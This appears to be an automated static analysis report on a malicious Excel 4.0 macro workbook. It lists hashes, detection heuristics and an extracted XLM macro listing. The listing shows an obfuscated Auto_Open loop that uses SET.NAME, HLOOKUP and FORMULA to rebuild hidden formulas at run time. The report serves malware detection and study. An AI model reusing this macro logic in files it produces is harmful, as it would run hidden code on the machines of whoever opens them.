Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7b28008aed74dd97…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:31 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: b984630b76d3b6e0373693b0163b2b37 SHA-1: 36668efec789d12e3e4f002e55eb5c352e72db4d SHA-256: 7b28008aed74dd97716a11790a04cab6967aba67e49033b0649fc62e8d0f8c63
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6411 bytes
SHA-256: db8556d5d07fbafc2459c565be34839e0c46b8dbea19a65d27ce911ce3b11753
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  fhMb
' 0018     22 LABEL : Cell Value, String Constant - AbacUiE len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C159 
' 0018     22 LABEL : Cell Value, String Constant - CQfDEmp len=0 
' 0018     23 LABEL : Cell Value, String Constant - DJPpDEwQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - DlZcFNyHpw len=0 
' 0018     23 LABEL : Cell Value, String Constant - ejhaLZfW len=0 
' 0018     25 LABEL : Cell Value, String Constant - iexKCifTPo len=0 
' 0018     24 LABEL : Cell Value, String Constant - kZVGoRgFT len=0 
' 0018     26 LABEL : Cell Value, String Constant - lHQYojbekJi len=0 
' 0018     27 LABEL : Cell Value, String Constant - LpzoefzSdmMD len=0 
' 0018     27 LABEL : Cell Value, String Constant - nAgJndWVTIjk len=0 
' 0018     21 LABEL : Cell Value, String Constant - ortvfv len=0 
' 0018     20 LABEL : Cell Value, String Constant - PnPlt len=0 
' 0018     21 LABEL : Cell Value, String Constant - QutWeb len=0 
' 0018     24 LABEL : Cell Value, String Constant - rclnaLSFw len=0 
' 0018     26 LABEL : Cell Value, String Constant - RDBtTKeKhCR len=0 
' 0018     22 LABEL : Cell Value, String Constant - RjblVot len=0 
' 0018     20 LABEL : Cell Value, String Constant - rxpKK len=0 
' 0018     27 LABEL : Cell Value, String Constant - stTkujPnPLJw len=0 
' 0018     25 LABEL : Cell Value, String Constant - TpugvdHqsD len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZTfJZFcqgq len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  fhMb,C65,"SET.NAME("RjblVot",VALUE("0"))",""
'  fhMb,C69,"SET.NAME("ortvfv",RjblVot)",""
'  fhMb,C74,"SET.NAME("RDBtTKeKhCR",RjblVot)",""
'  fhMb,C78,"SET.NAME("stTkujPnPLJw",COUNTA(iexKCifTPo))",""
'  fhMb,C82,"SET.NAME("lHQYojbekJi",COUNTA(ejhaLZfW))",""
'  fhMb,C85,[],""
'  fhMb,C90,"SET.NAME("TpugvdHqsD","")",""
'  fhMb,C95,"ortvfv",""
'  fhMb,C97,"SET.NAME("ZTfJZFcqgq",HLOOKUP("*",iexKCifTPo,ortvfv,FALSE))",""
'  fhMb,C100,"QutWeb",""
'  fhMb,C102,"SET.NAME("AbacUiE",RjblVot)",""
'  fhMb,C106,[],""
'  fhMb,C110,"AbacUiE",""
'  fhMb,C114,"DlZcFNyHpw",""
'  fhMb,C116,"kZVGoRgFT",""
'  fhMb,C118,"nAgJndWVTIjk",""
'  fhMb,C123,"SET.NAME("rxpKK",VALUE(HLOOKUP("*",ejhaLZfW,nAgJndWVTIjk,FALSE)))",""
'  fhMb,C127,"LpzoefzSdmMD",""
'  fhMb,C131,"TpugvdHqsD",""
'  fhMb,C135,"RDBtTKeKhCR",""
'  fhMb,C139,NEXT(),""
'  fhMb,C141,"PnPlt",""
'  fhMb,C146,"SET.NAME("f",INT(T(FORMULA(T(TpugvdHqsD)&"",""&T(PnPlt)))))",""
'  fhMb,C148,"DJPpDEwQ",""
'  fhMb,C152,NEXT(),""
'  fhMb,C154,RETURN(),""
'  fhMb,C185,"SET.NAME("CQfDEmp",C65)",""
'  fhMb,C188,"iexKCifTPo",""
'  fhMb,C193,"SET.NAME("ejhaLZfW",R92C12)",""
'  fhMb,C197,"SET.NAME("DJPpDEwQ",205)",""
'  fhMb,C200,"SET.NAME("rclnaLSFw",3)",""
'  fhMb,C204,CQfDEmp(),""
'  fhMb,C205,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.